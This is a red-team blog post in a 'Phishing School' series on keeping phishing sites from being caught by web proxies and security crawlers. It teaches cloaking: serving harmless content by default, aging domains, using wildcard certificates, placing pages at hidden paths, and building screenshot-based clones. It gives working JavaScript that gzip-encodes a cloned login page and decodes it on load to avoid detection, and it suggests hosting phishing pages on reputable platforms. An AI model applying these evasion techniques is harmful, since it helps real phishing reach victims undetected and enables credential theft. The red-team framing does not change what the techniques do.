Jul 9 2024 |
Drink Like a Phish
PHISHING SCHOOL
How to Make Your Phishing Sites Blend In
As you read this, bots are coming to find and destroy your phishing sites. You need to protect them before it’s too late! But how?
A phishing page is no good if our targets never get to see it. After bypassing the secure email gateway, convincing a user to click our link, and bypassing any link crawlers, the last “user outbound” control we need to circumvent is the corporate web proxy. Frequently, organizations will choose to route all of their web traffic (HTTP and HTTPS) through a proxy to block known-bad websites, monitor users, and implement data loss prevention (DLP) on web resources. For phishing, our main concern is staying off the known-bad list. That means we need to avoid being crawled by services that might categorize us as malicious and sound the alarm for others before we even send out the phishing campaign. We also need to avoid tell-tails that might trigger a proxy to identify our content as malicious in real time.
Do I Know You?
Have you ever really looked at your logs when you start up a web server? I don’t just mean an Apache access log. I mean full request URLs, queries, headers, and bodies. Within minutes of opening port 80 or 443, you will see traffic from a variety of internet addresses. If you scrutinize the traffic and its intent, you will see that they are generally asking one of two questions:
- What are you?
- Can I exploit you?
You didn’t tell anyone that you were starting a website or what domain you just bought, but the traffic shows up right away just the same. How could this be? Well, it turns out that with modern networking speeds, it really isn’t all that expensive or time consuming to scan the whole public IPv4 range for a few common ports like 80 and 443. Open-source tools like Zmap tout the ability to scan the full IPv4 range in just five minutes:
Because of this, both researchers and black hat hackers are constantly running their own internet “surveys” looking to identify and fingerprint open web ports. For research projects, like Shodan and Project Sonar, benign HTTP requests are used to interrogate open web servers to catalog each web service. Black hat hackers, on the other hand, will configure their scanners to run exploit checks against each web server, looking for opportunistic wins. Also in the research camp, you will see traffic from security vendors that run internet surveys to identify and block list potential threats based on HTTP response content.
Obviously, if we want our phishing sites to stay off of security vendor block lists, we should be careful not to present “phishy” looking content to just any observer of our websites; especially ones that just discovered our site by scanning our server’s public IP address. Using server name indication (SNI) on our web server, it is easy enough to present a default page when our website is requested using its IP address and only show our phishing page when a request is made for our phishing domain. This will block IP based scanners from seeing our phishing pages. However, this approach is not sufficient on its own. Unfortunately, the moment you register a domain for phishing and set up your phishing site, your domain name will be leaked to the public in two sources:
- The Internet Corporation for Assigned Names and Numbers (ICANN) Centralized Zone Data Service (CZDS) zone lists: https://czds.icann.org/home
- Google’s Certificate Transparency service: https://certificate.transparency.dev/
When you register your domain, your domain is added to ICANN’s zone list for your top-level domain. Security product vendors frequently download the updated lists and scan any domains they have not seen yet. In addition, when you register a TLS cert for your website (assuming you are properly protecting your clients’ data by using TLS while phishing), your certificate details will be published by Certificate Transparency. If you haven’t seen the data set before, take a minute to check out Ryan Sears’s Cert Stream project to view a sample of certificate transparency data in real time from a browser:
https://certstream.calidog.io/
You can bet security vendors are also subscribing to the Certificate Transparency feed to identify new domains and subdomains to scan for malicious websites, so configuring SNI is not enough to keep the scanners at bay. Now that we know what we are up against, let’s talk about how to protect our phishing sites.
Avoiding Pitfalls
First, recognize that any website you put out on the internet is going to be scanned. At a minimum, we want to avoid several common pitfalls that will get your phishing site burned immediately.
N00b Mistake 1: Respond with phishing content to every HTTP request
Instead, you should configure your server to deliver benign content by default. Only deliver malicious content when the URL matches specific attributes that you put in your phishing links; for example, a special “GET” parameter that indicates to the server that this is a legitimate click.
N00b Mistake 2: Using new domains for phishing
Instead, whenever possible, it is best to let them sit and deliver benign content for at least a few weeks before using them for phishing. We know that bots are going to crawl our sites, so why not just lay low and give them time to make an incorrect assessment of our domain? It’s always nice to have a solid domain ready to go when you need it, so if you don’t have any “seasoned” domains ready to go at this moment, go ahead and buy a few to start the aging process. You’ll thank me later.
N00b Mistake 3: Listing subdomains in TLS certificate requests
When you list subdomains for your phishing domains in TLS certificate requests, you are giving away unnecessary telemetry to the enemy. Use wildcard certs instead! There are tons of scripts and web server plugins that automate the process for you. Personally, I am a big fan of Caddy because of how easy it makes obtaining and automatically renewing certs:
N00b Mistake 4: Phishing content in predictable locations
Don’t serve your malicious content from a predictable or common location; especially not the web root!
NO NO NO:
https://www.myofficeonline.com/index.html
Still NO:
https://www.myofficeonline.com/owa/outlook/logon.html
Decent! Now we’re talking!
https://www.myofficeonline.com/documents/policies/confimation/index.html
Just a couple mkdir commands and we’ve added a ton of additional protection against web crawlers.
N00b Mistake 5: 1-to-1 clones
If you are trying to clone a common login page like Outlook or a VPN gateway, don’t just clone the site. These are dead giveaways! Imagine if a crawler sees a page that looks exactly like Outlook HTML source code, but the server’s response headers show Apache instead of IIS? If that happens, you’re busted! Instead of trying to fix the headers to also blend in, it’s way easier to just change the HTML. The end result just needs to look like the real thing.
Phishing with Images — Just take a screenshot of the page you want to clone, set it as the background for your page, and then position inputs over top! You might have to tweak the styling to adjust for screen size, but this works well for many simple phishing pages. The page will look the same to a human, and completely different to a bot.
Encoded Clones — Use some JavaScript to encode the HTML of a cloned page. Then, deliver the encoded data, alongside a decode function to dynamically print the HTML when the page loads. This requires a little more coding knowledge but is a nice general solution. Here’s a proof-of-concept I whipped up in a few minutes that gzips the HTML of the ‘body’ tag on a page and prints it to the console. The decode script unzips the content that we put in a variable and swaps the current document’s ‘body’:
//Encode Script - Run this from the console on a webpage you want to clone
function _arrayBufferToBase64( buffer ) {
var binary = '';
var bytes = new Uint8Array( buffer );
var len = bytes.byteLength;
for (var i = 0; i < len; i++) {
binary += String.fromCharCode( bytes[ i ] );
}
return window.btoa( binary );
}
function compress(string, encoding) {
const byteArray = new TextEncoder().encode(string);
const cs = new CompressionStream(encoding);
const writer = cs.writable.getWriter();
writer.write(byteArray);
writer.close();
return new Response(cs.readable).arrayBuffer();
}
compress(document.body.innerHTML, 'gzip').then(
(result)=>console.log(_arrayBufferToBase64(result))
)
//Decode Script - Swap out the content variable with your encoded content,
//and include this script in your document head
function decompress(byteArray, encoding) {
const cs = new DecompressionStream(encoding);
const writer = cs.writable.getWriter();
writer.write(byteArray);
writer.close();
return new Response(cs.readable).arrayBuffer().then(function (arrayBuffer) {
return new TextDecoder().decode(arrayBuffer);
});
}
function base64ToArrayBuffer(base64) {
var binaryString = atob(base64);
var bytes = new Uint8Array(binaryString.length);
for (var i = 0; i < binaryString.length; i++) {
bytes[i] = binaryString.charCodeAt(i);
}
return bytes.buffer;
}
var content = 'H4sIAAAAAAAACvNITM5WKMlIVQjIScxLLVFUVAQA9yGx4xIAAAA='
decompress(base64ToArrayBuffer(content), 'gzip').then(
(result)=>document.body.innerHTML=result)
)
Note that this will swap whatever is in the body of the page, so we can put any benign content we want there when the document is delivered to the browser. Because we can’t dynamically modify the ‘head’ tag with JavaScript, you will need to keep that part intact. You might want to obfuscate or minify the contents of the head as well if there are any clear indicators as to what you are spoofing. Here’s a full example with some minified JavaScript:
<html><head>
<title>Example Domain</title>
<script>
function d(e,n){const r=new DecompressionStream(n),t=r.writable.getWriter();return t.write(e),t.close(),new Response(r.readable).arrayBuffer().then((function(e){return(new TextDecoder).decode(e)}))}function b(e){for(var n=atob(e),r=new Uint8Array(n.length),t=0;t<n.length;t++)r[t]=n.charCodeAt(t);return r.buffer}var content="H4sIAAAAAAAACvNITM5WKMlIVQjIScxLLVFUVAQA9yGx4xIAAAA=";d(b(content),"gzip").then((e=>document.body.innerHTML=e));
</script>
</head>
<body>
<div style="">
<h1 style="">Example Domain</h1>
<p style="">Nothing to see here.</p>
</div>
</body></html>
Leveling Up
While avoiding pitfalls will likely be enough to sneak past most web proxies, we can do even better with a couple of tricks.
No Domain Required: Public Hosting
Most phishing sites can be delivered as static files. There are plenty of reputable domains that allow users to publish static content. You could use a content delivery network (CDN), GitHub Pages, Google Docs, Google Apps Script, Vercel, OneDrive, and many others to host phishing documents and sites; then you don’t have to worry so much about your domain’s reputation.
Warning! Keep in mind that phishing is obviously frowned upon by these services, but any domain registrar is also going to frown on what we do as red teamers. At some point, we have to pick who we will potentially offend and live with our choice knowing that we are not the bad guys. In any case, be thoughtful about what account you use knowing that it might get suspended or banned.
Next Level: Phishing with Video
What!?! Is that even possible? Yes, and it’s sick! With a browser-in-the-middle attack, we can phish users with video content. They see a video feed of the real website, and their interactions with the phishing page are reflected back to them through the video. This approach has many benefits, but for the sake of this blog post, just know that the content that is delivered to the end user is not a traditional phishing page at all. It’s a video stream, which makes it very hard for bots to spot that there is anything phishy about the page. To the bot, it just looks like a pretty minimal video player.
I released a tool called CuddlePhish to automate browser-in-the-middle attacks for red teamers. It’s one of my favorite weapons in my phishing arsenal. If you are interested in using browser-in-the-middle, go check out my post on the subject:
https://posts.specterops.io/phishing-with-dynamite-7d33d8fac038
In conclusion
When phishing, we should expect users to be behind a web proxy. With this in mind, we will need to stay off the known-bad lists. By making the contents of our phishing sites and pages as benign as possible, we can trick proxies into thinking we are safe. In general, we should configure our phishing servers to deliver completely harmless content by default so that web crawlers will categorize our domains as safe. In addition, we can make modifications to the HTML of our pages or use advanced attacks like browser-in-the-middle to trick proxies in real time when users click our links.
Drink Like a Phish was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.